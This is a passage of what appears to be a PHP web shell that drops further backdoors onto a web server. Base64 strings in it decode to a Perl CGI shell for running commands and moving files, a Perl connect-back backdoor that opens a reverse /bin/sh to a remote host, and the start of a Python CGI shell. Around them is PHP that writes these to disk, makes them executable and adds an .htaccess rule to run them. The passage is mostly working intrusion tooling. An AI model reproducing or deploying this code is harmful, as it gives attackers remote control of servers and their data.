+IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K +ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy +TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h +bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u +PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp +bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu +YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP +dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8 +aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg +bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9 +ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91 +dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp +cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp +cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K +CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu +ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k +KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN +CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg +ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy +IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu +ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5 +IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp +bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh +bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo +ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e +XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj +aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv +bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ +JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k +Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI +ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA +JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7 +DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN +CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50 +RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg +IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE +aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ +ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k +VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv +dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi +IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu +ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf +XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t +bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp +bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy +aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg +Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg +c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg +ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l +bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk +ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN +Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl +eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g +dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI +KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk +JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW +PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu +dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl +ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0 +b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E +DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N +CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7 +DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls +ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv +bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu +IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll +ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm +KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7 +DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU +RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls +ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt +VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6 +ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7 +IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT +RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ +YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk +ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9 +DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl +ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K +IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg +Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0 +aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz +IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz +dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm +aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e +XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw +YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K +CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy +Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk +UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug +aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp +bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN +CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg +d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg +aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl +LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg +cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7 +DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ +cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K +DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu +c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh +bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO +YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh +bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx +Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0 +aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ +aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu +dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll +bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU +YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ +cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN +CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy +aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw +cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h +bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz +IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs +IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls +ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk +ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K +Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls +ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z +ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls +ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj +IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ +aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U +ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ +JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2 +ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg +PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN +Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K +CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh +dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh +Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu +IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N +CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS +SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh +c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls +ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9 +Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp +ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t +bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1 +cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu +ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs +b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm +b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg +dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g +ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp +bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du +bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n +b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ=='; + +$file = fopen("izo.cin" ,"w+"); +$write = fwrite ($file ,base64_decode($cgishellizocin)); +fclose($file); +� � chmod("izo.cin",0755); +$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh +MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog +ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo +MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg +ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb +MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb +Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An +KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf +SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg +ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF +UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi +VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu +ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+ +JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl +bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu +ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE +YXRhY2hlZFxuXG4iOw=='; + +$file = fopen("dc.pl" ,"w+"); +$write = fwrite ($file ,base64_decode($netcatshell)); +fclose($file); +� � chmod("dc.pl",0755); +� �echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_7": + +� � mkdir('python', 0755); +� � chdir('python'); +� � � � $kokdosya = ".htaccess"; +� � � � $dosya_adi = "$kokdosya"; +� � � � $dosya = fopen ($dosya_adi , 'w') or die ("Dosya +a&#231;&#305;lamad&#305;!"); +� � � � $metin = "AddHandler cgi-script .izo"; +� � � � fwrite ( $dosya , $metin ) ; +� � � � fclose ($dosya); +$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB +IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD 